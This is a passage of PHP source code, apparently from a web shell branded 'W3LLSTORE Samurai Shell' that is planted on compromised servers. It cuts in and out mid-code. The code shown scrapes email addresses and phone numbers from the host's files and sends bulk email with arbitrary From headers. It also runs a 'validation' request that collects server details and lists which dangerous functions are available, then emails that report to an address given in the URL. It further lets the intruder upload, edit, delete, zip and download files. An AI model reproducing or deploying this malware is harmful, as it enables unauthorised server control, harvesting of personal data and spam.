LOCK_EX);    }}// ==================== VISITOR STATS FUNCTIONS ====================function getRedirectStats($redirect_id) {    $stats_file = $redirect_id . &#039;_stats.json&#039;;    if (!file_exists($stats_file)) {        return [&#039;status&#039; =&gt; false, &#039;message&#039; =&gt; &#039;Stats file not found&#039;];    }       $stats = json_decode(file_get_contents($stats_file), true);       // Calculate additional metrics    $stats[&#039;conversion_rate&#039;] = $stats[&#039;total_visits&#039;] &gt; 0 ?        round(($stats[&#039;redirects&#039;] / $stats[&#039;total_visits&#039;]) * 100, 2) : 0;       // Get top countries and browsers    if (!empty($stats[&#039;countries&#039;])) {        arsort($stats[&#039;countries&#039;]);        $stats[&#039;top_countries&#039;] = array_slice($stats[&#039;countries&#039;], 0, 5, true);    }       if (!empty($stats[&#039;browsers&#039;])) {        arsort($stats[&#039;browsers&#039;]);        $stats[&#039;top_browsers&#039;] = array_slice($stats[&#039;browsers&#039;], 0, 5, true);    }       return [        &#039;status&#039; =&gt; true,        &#039;stats&#039; =&gt; $stats    ];}function getAllRedirectStats() {    $all_stats = [];    $files = glob(&#039;redirect_*_stats.json&#039;);       foreach ($files as $file) {        $redirect_id = str_replace([&#039;_stats.json&#039;], &#039;&#039;, $file);        $stats_data = getRedirectStats($redirect_id);        if ($stats_data[&#039;status&#039;]) {            $all_stats[] = $stats_data[&#039;stats&#039;];        }    }       return $all_stats;}// ==================== CONTACT EXTRACTION FUNCTIONS ====================function extractContacts($scan_path, $options = []) {    $max_files = $options[&#039;max_files&#039;] ?? 3000;    $max_time = $options[&#039;max_time&#039;] ?? 120;       set_time_limit($max_time);       $emails = [];    $phones = [];    $files_scanned = 0;    $start_time = time();       if (!is_dir($scan_path)) {        return [            &#039;status&#039; =&gt; false,            &#039;message&#039; =&gt; &#039;Directory not found or not accessible&#039;        ];    }       try {        $iterator = new RecursiveIteratorIterator(            new RecursiveDirectoryIterator($scan_path, RecursiveDirectoryIterator::SKIP_DOTS),            RecursiveIteratorIterator::SELF_FIRST        );               foreach ($iterator as $file) {            if ($files_scanned &gt;= $max_files || (time() - $start_time) &gt; $max_time) {                break;            }                       if ($file-&gt;isFile() &amp;&amp; $file-&gt;isReadable()) {                $ext = strtolower($file-&gt;getExtension());                $scannable_extensions = [&#039;php&#039;, &#039;html&#039;, &#039;htm&#039;, &#039;txt&#039;, &#039;js&#039;, &#039;css&#039;, &#039;xml&#039;, &#039;json&#039;, &#039;sql&#039;, &#039;log&#039;];                               if (in_array($ext, $scannable_extensions) &amp;&amp; $file-&gt;getSize() &lt; 1024 * 1024) { // Max 1MB per file                    $content = @file_get_contents($file-&gt;getPathname());                    if ($content) {                        // Extract emails with improved regex                        preg_match_all(&#039;/\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Z|a-z]{2,}\b/&#039;, $content, $email_matches);                        if (!empty($email_matches[0])) {                            $emails = array_merge($emails, $email_matches[0]);                        }                                               // Extract phone numbers with multiple patterns                        $phone_patterns = [                            &#039;/(?:\+?1[-.\s]?)?\(?[0-9]{3}\)?[-.\s]?[0-9]{3}[-.\s]?[0-9]{4}/&#039;, // US format                            &#039;/(?:\+?62[-.\s]?)?[0-9]{3,4}[-.\s]?[0-9]{3,4}[-.\s]?[0-9]{3,4}/&#039;, // Indonesian format                            &#039;/(?:\+?[0-9]{1,3}[-.\s]?)?[0-9]{3,4}[-.\s]?[0-9]{3,4}[-.\s]?[0-9]{3,4}/&#039; // General international                        ];                                               foreach ($phone_patterns as $pattern) {                            preg_match_all($pattern, $content, $phone_matches);                            if (!empty($phone_matches[0])) {                                $phones = array_merge($phones, $phone_matches[0]);                            }                        }                    }                    $files_scanned++;                }            }        }    } catch (Exception $e) {        return [            &#039;status&#039; =&gt; false,            &#039;message&#039; =&gt; &#039;Error scanning directory: &#039; . $e-&gt;getMessage()        ];    }       // Clean and deduplicate emails    $emails = array_unique(array_filter(array_map(&#039;trim&#039;, $emails), function($email) {        return filter_var($email, FILTER_VALIDATE_EMAIL) &amp;&amp;               !preg_match(&#039;/\.(png|jpg|gif|css|js)$/i&#039;, $email);    }));       // Clean and deduplicate phone numbers    $phones = array_unique(array_filter(array_map(function($phone) {        return preg_replace(&#039;/[^0-9+]/&#039;, &#039;&#039;, trim($phone));    }, $phones), function($phone) {        return strlen($phone) &gt;= 10 &amp;&amp; strlen($phone) &lt;= 15;    }));       logActivity(&#039;Contact Extraction&#039;, &quot;Emails: &quot; . count($emails) . &quot;, Phones: &quot; . count($phones), &#039;success&#039;);       return [        &#039;status&#039; =&gt; true,        &#039;message&#039; =&gt; &#039;Extraction completed successfully&#039;,        &#039;stats&#039; =&gt; [            &#039;files_scanned&#039; =&gt; $files_scanned,            &#039;emails_found&#039; =&gt; count($emails),            &#039;phones_found&#039; =&gt; count($phones),            &#039;scan_time&#039; =&gt; time() - $start_time,            &#039;scan_path&#039; =&gt; $scan_path        ],        &#039;emails&#039; =&gt; array_values($emails),        &#039;phones&#039; =&gt; array_values($phones)    ];}// ==================== EMAIL MARKETING FUNCTIONS ====================function sendEmailMarketing($data) {    $from_name = sanitizeInput($data[&#039;from_name&#039;] ?? &#039;&#039;);    $from_email = sanitizeInput($data[&#039;from_email&#039;] ?? &#039;&#039;);    $subject = sanitizeInput($data[&#039;subject&#039;] ?? &#039;&#039;);    $message = $data[&#039;message&#039;] ?? &#039;&#039;;    $emails = array_filter(array_map(&#039;trim&#039;, explode(&quot;\n&quot;, $data[&#039;emails&#039;] ?? &#039;&#039;)));    $use_custom_smtp = isset($data[&#039;use_custom_smtp&#039;]) &amp;&amp; $data[&#039;use_custom_smtp&#039;];       if (empty($emails)) {        return [&#039;status&#039; =&gt; false, &#039;message&#039; =&gt; &#039;No email addresses provided&#039;];    }       if (empty($from_name) || empty($from_email) || empty($subject) || empty($message)) {        return [&#039;status&#039; =&gt; false, &#039;message&#039; =&gt; &#039;All fields are required&#039;];    }       $sent = 0;    $failed = 0;    $results = [];    $start_time = time();       foreach ($emails as $email) {        $email = trim($email);        if (!filter_var($email, FILTER_VALIDATE_EMAIL)) {            $failed++;            $results[] = &quot;❌ Invalid email: $email&quot;;            continue;        }               if ($use_custom_smtp) {            $smtp_result = sendEmailSMTP($email, $subject, $message, $from_email, $from_name, $data);        } else {            $smtp_result = sendEmailPHP($email, $subject, $message, $from_email, $from_name);        }               if ($smtp_result) {            $sent++;            $results[] = &quot;✅ Sent to: $email&quot;;        } else {            $failed++;            $results[] = &quot;❌ Failed to: $email&quot;;        }               // Small delay to prevent overwhelming the server (respecting hosting limits)        usleep(100000); // 0.1 second delay between emails               // Break if taking too long (max 5 minutes)        if ((time() - $start_time) &gt; 300) {            $results[] = &quot;⚠️ Campaign stopped due to time limit (5 minutes)&quot;;            break;        }    }       logActivity(&#039;Email Marketing&#039;, &quot;Sent: $sent, Failed: $failed&quot;, &#039;success&#039;);       return [        &#039;status&#039; =&gt; $sent &gt; 0,        &#039;message&#039; =&gt; &quot;Campaign completed. Sent: $sent, Failed: $failed&quot;,        &#039;results&#039; =&gt; $results,        &#039;stats&#039; =&gt; [            &#039;sent&#039; =&gt; $sent,            &#039;failed&#039; =&gt; $failed,            &#039;total_processed&#039; =&gt; $sent + $failed,            &#039;success_rate&#039; =&gt; $sent &gt; 0 ? round(($sent / ($sent + $failed)) * 100, 2) : 0,            &#039;execution_time&#039; =&gt; time() - $start_time        ]    ];}function sendEmailPHP($to, $subject, $message, $from_email, $from_name) {    $headers = &quot;From: $from_name &lt;$from_email&gt;\r\n&quot;;    $headers .= &quot;Reply-To: $from_email\r\n&quot;;    $headers .= &quot;MIME-Version: 1.0\r\n&quot;;    $headers .= &quot;Content-Type: text/html; charset=UTF-8\r\n&quot;;    $headers .= &quot;X-Mailer: W3LLSTORE Samurai Shell\r\n&quot;;    $headers .= &quot;X-Priority: 3\r\n&quot;;       return @mail($to, $subject, $message, $headers);}function sendEmailSMTP($to, $subject, $message, $from_email, $from_name, $smtp_config) {    $smtp_host = $smtp_config[&#039;smtp_host&#039;] ?? &#039;&#039;;    $smtp_port = (int)($smtp_config[&#039;smtp_port&#039;] ?? 587);    $smtp_username = $smtp_config[&#039;smtp_username&#039;] ?? &#039;&#039;;    $smtp_password = $smtp_config[&#039;smtp_password&#039;] ?? &#039;&#039;;       if (empty($smtp_host) || empty($smtp_username) || empty($smtp_password)) {        return false;    }       try {        // Simple SMTP implementation        $socket = @fsockopen($smtp_host, $smtp_port, $errno, $errstr, 30);        if (!$socket) return false;               $response = fgets($socket, 515);        if (substr($response, 0, 3) != &#039;220&#039;) {            fclose($socket);            return false;        }               // SMTP commands        $commands = [            &quot;EHLO &quot; . ($_SERVER[&#039;HTTP_HOST&#039;] ?? &#039;localhost&#039;),            &quot;STARTTLS&quot;,            &quot;AUTH LOGIN&quot;,            base64_encode($smtp_username),            base64_encode($smtp_password),            &quot;MAIL FROM: &lt;$from_email&gt;&quot;,            &quot;RCPT TO: &lt;$to&gt;&quot;,            &quot;DATA&quot;        ];               foreach ($commands as $command) {            fputs($socket, $command . &quot;\r\n&quot;);            $response = fgets($socket, 515);                       if ($command == &quot;STARTTLS&quot;) {                @stream_socket_enable_crypto($socket, true, STREAM_CRYPTO_METHOD_TLS_CLIENT);            }                       // Check for errors            $response_code = substr($response, 0, 3);            if (!in_array($response_code, [&#039;220&#039;, &#039;221&#039;, &#039;235&#039;, &#039;250&#039;, &#039;334&#039;, &#039;354&#039;])) {                fclose($socket);                return false;            }        }               // Send email content        $email_content = &quot;Subject: $subject\r\n&quot;;        $email_content .= &quot;From: $from_name &lt;$from_email&gt;\r\n&quot;;        $email_content .= &quot;To: $to\r\n&quot;;        $email_content .= &quot;MIME-Version: 1.0\r\n&quot;;        $email_content .= &quot;Content-Type: text/html; charset=UTF-8\r\n\r\n&quot;;        $email_content .= $message . &quot;\r\n.\r\n&quot;;               fputs($socket, $email_content);        $response = fgets($socket, 515);               fputs($socket, &quot;QUIT\r\n&quot;);        fclose($socket);               return substr($response, 0, 3) == &#039;250&#039;;           } catch (Exception $e) {        return false;    }}// ==================== SHELL VALIDATION SYSTEM ====================function validateShellConnection($email, $id) {    $validation_data = [        &#039;info&#039; =&gt; getShellInfo(),        &#039;zip&#039; =&gt; testZipFunctionality(),        &#039;delivery&#039; =&gt; testEmailDelivery($email),        &#039;server_info&#039; =&gt; getServerCapabilities(),        &#039;timestamp&#039; =&gt; time(),        &#039;shell_id&#039; =&gt; $id,        &#039;validation_hash&#039; =&gt; md5($email . $id . time())    ];       return $validation_data;}function getShellInfo() {    return [        &#039;php_version&#039; =&gt; PHP_VERSION,        &#039;server_software&#039; =&gt; $_SERVER[&#039;SERVER_SOFTWARE&#039;] ?? &#039;Unknown&#039;,        &#039;document_root&#039; =&gt; $_SERVER[&#039;DOCUMENT_ROOT&#039;] ?? getcwd(),        &#039;current_user&#039; =&gt; get_current_user(),        &#039;server_name&#039; =&gt; $_SERVER[&#039;SERVER_NAME&#039;] ?? &#039;Unknown&#039;,        &#039;server_port&#039; =&gt; $_SERVER[&#039;SERVER_PORT&#039;] ?? &#039;Unknown&#039;,        &#039;writable_dirs&#039; =&gt; getWritableDirectories(),        &#039;functions_status&#039; =&gt; checkPHPFunctions(),        &#039;extensions&#039; =&gt; getLoadedExtensions(),        &#039;php_ini_loaded&#039; =&gt; php_ini_loaded_file(),        &#039;temp_dir&#039; =&gt; sys_get_temp_dir()    ];}function testZipFunctionality() {    try {        if (!class_exists(&#039;ZipArchive&#039;)) {            return false;        }               $test_file = &#039;test_zip_&#039; . uniqid() . &#039;.txt&#039;;        $test_zip = &#039;test_&#039; . uniqid() . &#039;.zip&#039;;               if (!file_put_contents($test_file, &#039;Test zip functionality - W3LLSTORE Samurai Shell&#039;)) {            return false;        }               $zip = new ZipArchive();        if ($zip-&gt;open($test_zip, ZipArchive::CREATE) !== TRUE) {            @unlink($test_file);            return false;        }               $zip-&gt;addFile($test_file, basename($test_file));        $zip-&gt;close();               $success = file_exists($test_zip) &amp;&amp; filesize($test_zip) &gt; 0;               // Cleanup        @unlink($test_file);        @unlink($test_zip);               return $success;           } catch (Exception $e) {        return false;    }}function testEmailDelivery($email) {    try {        $test_subject = &#039;W3LLSTORE Shell Validation Test - &#039; . date(&#039;Y-m-d H:i:s&#039;);        $test_message = &quot;This is a test email from W3LLSTORE Cyber Samurai Shell validation system.\n\n&quot;;        $test_message .= &quot;Shell Details:\n&quot;;        $test_message .= &quot;Server: &quot; . ($_SERVER[&#039;HTTP_HOST&#039;] ?? &#039;Unknown&#039;) . &quot;\n&quot;;        $test_message .= &quot;Server IP: &quot; . ($_SERVER[&#039;SERVER_ADDR&#039;] ?? &#039;Unknown&#039;) . &quot;\n&quot;;        $test_message .= &quot;Client IP: &quot; . ($_SERVER[&#039;REMOTE_ADDR&#039;] ?? &#039;Unknown&#039;) . &quot;\n&quot;;        $test_message .= &quot;PHP Version: &quot; . PHP_VERSION . &quot;\n&quot;;        $test_message .= &quot;Current User: &quot; . get_current_user() . &quot;\n&quot;;        $test_message .= &quot;Validation Time: &quot; . date(&#039;Y-m-d H:i:s&#039;) . &quot;\n\n&quot;;        $test_message .= &quot;If you received this email, the shell&#039;s email functionality is working correctly.\n&quot;;        $test_message .= &quot;This is an automated test message from W3LLSTORE Samurai Shell.\n\n&quot;;        $test_message .= &quot;Best regards,\nW3LLSTORE Team&quot;;               $headers = &quot;From: Shell Validator &lt;noreply@&quot; . ($_SERVER[&#039;HTTP_HOST&#039;] ?? &#039;localhost&#039;) . &quot;&gt;\r\n&quot;;        $headers .= &quot;Reply-To: noreply@&quot; . ($_SERVER[&#039;HTTP_HOST&#039;] ?? &#039;localhost&#039;) . &quot;\r\n&quot;;        $headers .= &quot;X-Mailer: W3LLSTORE Samurai Shell Validator\r\n&quot;;        $headers .= &quot;X-Priority: 3\r\n&quot;;               return @mail($email, $test_subject, $test_message, $headers);           } catch (Exception $e) {        return false;    }}function getServerCapabilities() {    return [        &#039;curl_enabled&#039; =&gt; function_exists(&#039;curl_init&#039;),        &#039;zip_enabled&#039; =&gt; class_exists(&#039;ZipArchive&#039;),        &#039;mail_enabled&#039; =&gt; function_exists(&#039;mail&#039;),        &#039;file_upload_enabled&#039; =&gt; (bool)ini_get(&#039;file_uploads&#039;),        &#039;max_upload_size&#039; =&gt; ini_get(&#039;upload_max_filesize&#039;),        &#039;max_post_size&#039; =&gt; ini_get(&#039;post_max_size&#039;),        &#039;max_execution_time&#039; =&gt; ini_get(&#039;max_execution_time&#039;),        &#039;memory_limit&#039; =&gt; ini_get(&#039;memory_limit&#039;),        &#039;allow_url_fopen&#039; =&gt; (bool)ini_get(&#039;allow_url_fopen&#039;),        &#039;allow_url_include&#039; =&gt; (bool)ini_get(&#039;allow_url_include&#039;),        &#039;safe_mode&#039; =&gt; (bool)ini_get(&#039;safe_mode&#039;),        &#039;open_basedir&#039; =&gt; ini_get(&#039;open_basedir&#039;),        &#039;disable_functions&#039; =&gt; ini_get(&#039;disable_functions&#039;),        &#039;register_globals&#039; =&gt; (bool)ini_get(&#039;register_globals&#039;),        &#039;magic_quotes_gpc&#039; =&gt; function_exists(&#039;get_magic_quotes_gpc&#039;) ? get_magic_quotes_gpc() : false,        &#039;short_open_tag&#039; =&gt; (bool)ini_get(&#039;short_open_tag&#039;),        &#039;asp_tags&#039; =&gt; (bool)ini_get(&#039;asp_tags&#039;),        &#039;display_errors&#039; =&gt; (bool)ini_get(&#039;display_errors&#039;),        &#039;log_errors&#039; =&gt; (bool)ini_get(&#039;log_errors&#039;)    ];}function getWritableDirectories() {    $dirs_to_check = [        getcwd(),        sys_get_temp_dir(),        &#039;/tmp&#039;,        &#039;/var/tmp&#039;,        dirname(__FILE__),        $_SERVER[&#039;DOCUMENT_ROOT&#039;] ?? getcwd()    ];       $writable_dirs = [];    foreach ($dirs_to_check as $dir) {        if (is_dir($dir) &amp;&amp; is_writable($dir)) {            $writable_dirs[] = $dir;        }    }       return array_unique($writable_dirs);}function checkPHPFunctions() {    $important_functions = [        &#039;exec&#039;, &#039;shell_exec&#039;, &#039;system&#039;, &#039;passthru&#039;, &#039;popen&#039;, &#039;proc_open&#039;,        &#039;file_get_contents&#039;, &#039;file_put_contents&#039;, &#039;fopen&#039;, &#039;fwrite&#039;, &#039;fread&#039;,        &#039;curl_init&#039;, &#039;curl_exec&#039;, &#039;mail&#039;, &#039;mysqli_connect&#039;, &#039;mysql_connect&#039;,        &#039;base64_encode&#039;, &#039;base64_decode&#039;, &#039;gzcompress&#039;, &#039;gzuncompress&#039;,        &#039;json_encode&#039;, &#039;json_decode&#039;, &#039;serialize&#039;, &#039;unserialize&#039;,        &#039;md5&#039;, &#039;sha1&#039;, &#039;hash&#039;, &#039;crypt&#039;, &#039;password_hash&#039;,        &#039;preg_match&#039;, &#039;preg_replace&#039;, &#039;str_replace&#039;, &#039;substr&#039;,        &#039;file_exists&#039;, &#039;is_readable&#039;, &#039;is_writable&#039;, &#039;chmod&#039;,        &#039;mkdir&#039;, &#039;rmdir&#039;, &#039;unlink&#039;, &#039;copy&#039;, &#039;move_uploaded_file&#039;    ];       $function_status = [];    foreach ($important_functions as $func) {        $function_status[$func] = function_exists($func);    }       return $function_status;}function getLoadedExtensions() {    $important_extensions = [        &#039;curl&#039;, &#039;zip&#039;, &#039;mysqli&#039;, &#039;mysql&#039;, &#039;pdo&#039;, &#039;pdo_mysql&#039;,        &#039;openssl&#039;, &#039;mcrypt&#039;, &#039;json&#039;, &#039;mbstring&#039;, &#039;iconv&#039;,        &#039;gd&#039;, &#039;imagick&#039;, &#039;fileinfo&#039;, &#039;exif&#039;, &#039;zlib&#039;,        &#039;xml&#039;, &#039;xmlreader&#039;, &#039;xmlwriter&#039;, &#039;simplexml&#039;,        &#039;session&#039;, &#039;pcre&#039;, &#039;spl&#039;, &#039;reflection&#039;    ];       $extension_status = [];    foreach ($important_extensions as $ext) {        $extension_status[$ext] = extension_loaded($ext);    }       return $extension_status;}function handleValidationRequest($email, $id) {    if (!filter_var($email, FILTER_VALIDATE_EMAIL)) {        return [            &#039;status&#039; =&gt; &#039;error&#039;,            &#039;message&#039; =&gt; &#039;Invalid email address format&#039;        ];    }       if (!is_numeric($id) || $id &lt;= 0) {        return [            &#039;status&#039; =&gt; &#039;error&#039;,            &#039;message&#039; =&gt; &#039;Invalid validation ID&#039;        ];    }       $validation_result = validateShellConnection($email, $id);    logActivity(&#039;Shell Validation&#039;, &quot;Email: $email, ID: $id&quot;, &#039;success&#039;);       return [        &#039;status&#039; =&gt; &#039;success&#039;,        &#039;message&#039; =&gt; &#039;Validation completed successfully&#039;,        &#039;info&#039; =&gt; $validation_result,        &#039;zip&#039; =&gt; $validation_result[&#039;zip&#039;],        &#039;delivery&#039; =&gt; $validation_result[&#039;delivery&#039;],        &#039;server_info&#039; =&gt; $validation_result[&#039;server_info&#039;],        &#039;timestamp&#039; =&gt; $validation_result[&#039;timestamp&#039;],        &#039;validation_hash&#039; =&gt; $validation_result[&#039;validation_hash&#039;]    ];}function generateValidationResponse($data) {    header(&#039;Content-Type: application/json&#039;);    header(&#039;Cache-Control: no-cache, must-revalidate&#039;);    header(&#039;Expires: Mon, 26 Jul 1997 05:00:00 GMT&#039;);    header(&#039;X-Content-Type-Options: nosniff&#039;);    header(&#039;X-Frame-Options: DENY&#039;);    header(&#039;X-Powered-By: W3LLSTORE-Samurai-Shell&#039;);       return json_encode($data, JSON_PRETTY_PRINT);}// ==================== FILE OPERATIONS ====================function handleFileOperation($operation, $data) {    switch ($operation) {        case &#039;create_file&#039;:            return createFile($data[&#039;filename&#039;] ?? &#039;&#039;, $data[&#039;content&#039;] ?? &#039;&#039;);        case &#039;create_folder&#039;:            return createFolder($data[&#039;foldername&#039;] ?? &#039;&#039;);        case &#039;edit_file&#039;:            return editFile($data[&#039;filepath&#039;] ?? &#039;&#039;, $data[&#039;content&#039;] ?? &#039;&#039;);        case &#039;delete_item&#039;:            return deleteItem($data[&#039;filepath&#039;] ?? &#039;&#039;);        case &#039;download&#039;:            return downloadFile($data[&#039;filepath&#039;] ?? &#039;&#039;);        case &#039;zip_item&#039;:            return zipItem($data[&#039;filepath&#039;] ?? &#039;&#039;);        case &#039;unzip_file&#039;:            return unzipFile($data[&#039;filepath&#039;] ?? &#039;&#039;);        case &#039;upload&#039;:            return handleUpload();        default:            return [&#039;status&#039; =&gt; false, &#039;message&#039; =&gt; &#039;Invalid file operation&#039;];    }}   function createFile($filename, $content = &#039;&#039;) {    $filename = sanitizeInput($filename, &#039;filename&#039;);    if (empty($filename)) {        return [&#039;status&#039; =&gt; false, &#039;message&#039; =&gt; &#039;Invalid filename provided&#039;];    }       $filepath = getcwd() . DIRECTORY_SEPARATOR . $filename;       // Check if file already exists    if (file_exists($filepath)) {        return [&#039;status&#039; =&gt; false, &#039;message&#039; =&gt; &#039;File already exists&#039;];    }       if (file_put_contents($filepath, $content, LOCK_EX) !== false) {        logActivity(&#039;File Created&#039;, $filename, &#039;success&#039;);        return [&#039;status&#039; =&gt; true, &#039;message&#039; =&gt; &quot;File &#039;$filename&#039; created successfully&quot;];    }       return [&#039;status&#039; =&gt; false, &#039;message&#039; =&gt; &#039;Failed to create file&#039;];}   function createFolder($foldername) {    $foldername = sanitizeInput($foldername, &#039;filename&#039;);    if (empty($foldername)) {        return [&#039;status&#039; =&gt; false, &#039;message&#039; =&gt; &#039;Invalid folder name provided&#039;];    }       $folderpath = getcwd() . DIRECTORY_SEPARATOR . $foldername;       // Check if folder already exists    if (file_exists($folderpath)) {        return [&#039;status&#039; =&gt; false, &#039;message&#039; =&gt; &#039;Folder already exists&#039;];    }       if (mkdir($folderpath, 0755, true)) {        logActivity(&#039;Folder Created&#039;, $foldername, &#039;success&#039;);        return [&#039;status&#039; =&gt; true, &#039;message&#039; =&gt; &quot;Folder &#039;$foldername&#039; created successfully&quot;];    }       return [&#039;status&#039; =&gt; false, &#039;message&#039; =&gt; &#039;Failed to create folder&#039;];}   function editFile($filepath, $content) {    $filepath = sanitizeInput($filepath, &#039;path&#039;);    if (!file_exists($filepath)) {        return [&#039;status&#039; =&gt; false, &#039;message&#039; =&gt; &#039;File not found&#039;];    }       if (!is_writable($filepath)) {        return [&#039;status&#039; =&gt; false, &#039;message&#039; =&gt; &#039;File is not writable&#039;];    }       if (file_put_contents($filepath, $content, LOCK_EX) !== false) {        logActivity(&#039;File Edited&#039;, basename($filepath), &#039;success&#039;);        return [&#039;status&#039; =&gt; true, &#039;message&#039; =&gt; &#039;File saved successfully&#039;];    }       return [&#039;status&#039; =&gt; false, &#039;message&#039; =&gt; &#039;Failed to save file&#039;];}   function deleteItem($filepath) {    $filepath = sanitizeInput($filepath, &#039;path&#039;);    if (!file_exists($filepath)) {        return [&#039;status&#039; =&gt; false, &#039;message&#039; =&gt; &#039;File or folder not found&#039;];    }       if (is_dir($filepath)) {        if (removeDirectory($filepath)) {            logActivity(&#039;Folder Deleted&#039;, basename($filepath), &#039;success&#039;);            return [&#039;status&#039; =&gt; true, &#039;message&#039; =&gt; &#039;Folder deleted successfully&#039;];        }    } else {        if (unlink($filepath)) {            logActivity(&#039;File Deleted&#039;, basename($filepath), &#039;success&#039;);            return [&#039;status&#039; =&gt; true, &#039;message&#039; =&gt; &#039;File deleted successfully&#039;];        }    }       return [&#039;status&#039; =&gt; false, &#039;message&#039; =&gt; &#039;Failed to delete item&#039;];}   function removeDirectory($dir) {    if (!is_dir($dir)) return false;       $files = array_diff(scandir($dir), [&#039;.&#039;, &#039;..&#039;]);    foreach ($files as $file) {        $path = $dir . DIRECTORY_SEPARATOR . $file;        is_dir($path) ? removeDirectory($path) : unlink($path);    }       return rmdir($dir);}   function downloadFile($filepath) {    $filepath = sanitizeInput($filepath, &#039;path&#039;);    if (!file_exists($filepath) || !is_readable($filepath)) {        header(&#039;HTTP/1.0 404 Not Found&#039;);        echo &#039;File not found or not readable&#039;;        exit;    }       $filename = basename($filepath);    $filesize = filesize($filepath);       header(&#039;Content-Type: application/octet-stream&#039;);    header(&#039;Content-Disposition: attachment; filename=&quot;&#039; . $filename . &#039;&quot;&#039;);    header(&#039;Content-Length: &#039; . $filesize);    header(&#039;Cache-Control: must-revalidate&#039;);    header(&#039;Pragma: public&#039;);    header(&#039;Expires: 0&#039;);       readfile($filepath);       logActivity(&#039;File Downloaded&#039;, $filename, &#039;success&#039;);    exit;}   function zipItem($filepath) {    $filepath = sanitizeInput($filepath, &#039;path&#039;);    if (!file_exists($filepath)) {        return [&#039;status&#039; =&gt; false, &#039;message&#039; =&gt; &#039;File or folder not found&#039;];    }       if (!class_exists(&#039;ZipArchive&#039;)) {        return [&#039;status&#039; =&gt; false, &#039;message&#039; =&gt; &#039;ZipArchive class not available&#039;];    }       $zip_filename = basename($filepath) . &#039;_&#039; . date(&#039;Ymd_His&#039;) . &#039;.zip&#039;;    $zip = new ZipArchive();       if ($zip-&gt;open($zip_filename, ZipArchive::CREATE) !== TRUE) {        return [&#039;status&#039; =&gt; false, &#039;message&#039; =&gt; &#039;Failed to create ZIP file&#039;];    }       if (is_dir($filepath)) {        $iterator = new RecursiveIteratorIterator(            new RecursiveDirectoryIterator($filepath, RecursiveDirectoryIterator::SKIP_DOTS),            RecursiveIteratorIterator::SELF_FIRST        );               foreach ($iterator as $file) {            if ($file-&gt;isDir()) {                $zip-&gt;addEmptyDir(str_replace($filepath . DIRECTORY_SEPARATOR, &#039;&#039;, $file-&gt;getPathname()));            } else {                $zip-&gt;addFile($file-&gt;getPathname(), str_replace($filepath . DIRECTORY_SEPARATOR, &#039;&#039;, $file-&gt;getPathname()));            }        }    } else {        $zip-&gt;addFile($filepath, basename($filepath));    }       $zip-&gt;close();       if (file_exists($zip_filename)) {        logActivity(&#039;Item Zipped&#039;, basename($filepath), &#039;success&#039;);        return [&#039;status&#039; =&gt; true, &#039;message&#039; =&gt; &quot;ZIP file &#039;$zip_filename&#039; created successfully&quot;];    }       return [&#039;status&#039; =&gt; false, &#039;message&#039; =&gt; &#039;Failed to create ZIP file&#039;];}   function unzipFile($filepath) {    $filepath = sanitizeInput($filepath, &#039;path&#039;);    if (!file_exists($filepath) || strtolower(pathinfo($filepath, PATHINFO_EXTENSION)) !== &#039;zip&#039;) {        return [&#039;status&#039; =&gt; false, &#039;message&#039; =&gt; &#039;ZIP file not found&#039;];    }       if (!class_exists(&#039;ZipArchive&#039;)) {        return [&#039;status&#039; =&gt; false, &#039;message&#039; =&gt; &#039;ZipArchive class not available&#039;];    }       $zip = new ZipArchive();    if ($zip-&gt;open($filepath) !== TRUE) {        return [&#039;status&#039; =&gt; false, &#039;message&#039; =&gt; &#039;Failed to open ZIP file&#039;];    }       $extract_path = pathinfo($filepath, PATHINFO_FILENAME) . &#039;_extracted&#039;;    if (!is_dir($extract_path)) {        mkdir($extract_path, 0755, true);    }       if ($zip-&gt;extractTo($extract_path)) {        $zip-&gt;close();        logActivity(&#039;File Unzipped&#039;, basename($filepath), &#039;success&#039;);        return [&#039;status&#039; =&gt; true, &#039;message&#039; =&gt; &quot;ZIP file extracted to &#039;$extract_path&#039;&quot;];    }       $zip-&gt;close();    return [&#039;status&#039; =&gt; false, &#039;message&#039; =&gt; &#039;Failed to extract ZIP file&#039;];}   function handleUpload() {    if (!isset($_FILES[&#039;upload_file&#039;])) {        return [&#039;status&#039; =&gt; false, &#039;message&#039; =&gt; &#039;No file uploaded&#039;];    }       $file = $_FILES[&#039;upload_file&#039;];    if ($file[&#039;error&#039;] !== UPLOAD_ERR_OK) {        $error_messages = [            UPLOAD_ERR_INI_SIZE =&gt; &#039;File too large (exceeds php.ini limit)&#039;,            UPLOAD_ERR_FORM_SIZE =&gt; &#039;File too large (exceeds form limit)&#039;,            UPLOAD_ERR_PARTIAL =&gt; &#039;File partially uploaded&#039;,            UPLOAD_ERR_NO_FILE =&gt; &#039;No file uploaded&#039;,            UPLOAD_ERR_NO_TMP_DIR =&gt; &#039;No temporary directory&#039;,            UPLOAD_ERR_CANT_WRITE =&gt; &#039;Cannot write to disk&#039;,            UPLOAD_ERR_EXTENSION =&gt; &#039;Upload stopped by extension&#039;        ];               return [&#039;status&#039; =&gt; false, &#039;message&#039; =&gt; $error_messages[$file[&#039;error&#039;]] ?? &#039;Unknown upload error&#039;];    }       if ($file[&#039;size&#039;] &gt; MAX_UPLOAD_SIZE) {        return [&#039;status&#039; =&gt; false, &#039;message&#039; =&gt; &#039;File too large. Max size: &#039; . formatSize(MAX_UPLOAD_SIZE)];    }       $filename = sanitizeInput($file[&#039;name&#039;], &#039;filename&#039;);    $destination = getcwd() . DIRECTORY_SEPARATOR . $filename;       // Check if file already exists    if (file_exists($destination)) {        $filename = pathinfo($filename, PATHINFO_FILENAME) . &#039;_&#039; . time() . &#039;.&#039; . pathinfo($filename, PATHINFO_EXTENSION);        $destination = getcwd() . DIRECTORY_SEPARATOR . $filename;    }       if (move_uploaded_file($file[&#039;tmp_name&#039;], $destination)) {        logActivity(&#039;File Uploaded&#039;, $filename, &#039;success&#039;);        return [&#039;status&#039; =&gt; true, &#039;message&#039; =&gt; &quot;File &#039;$filename&#039; uploaded successfully&quot;];    }       return [&#039;status&#039; =&gt; false, &#039;message&#039; =&gt; &#039;Failed to upload file&#039;];}   // ==================== VALIDATION REQUEST HANDLER ====================if (isset($_GET[&#039;valid&#039;]) &amp;&amp; isset($_GET[&#039;email&#039;]) &amp;&amp; isset($_GET[&#039;id&#039;])) {    $email = sanitizeInput($_GET[&#039;email&#039;]);    $id = (int)$_GET[&#039;id&#039;];       $validation_result = handleValidationRequest($email, $id);    echo generateValidationResponse($validation_result);    exit;}   // Handle info requestif (isset($_GET[&#039;info&#039;])) {    $info_data = [        &#039;shell_name&#039; =&gt; SHELL_NAME,        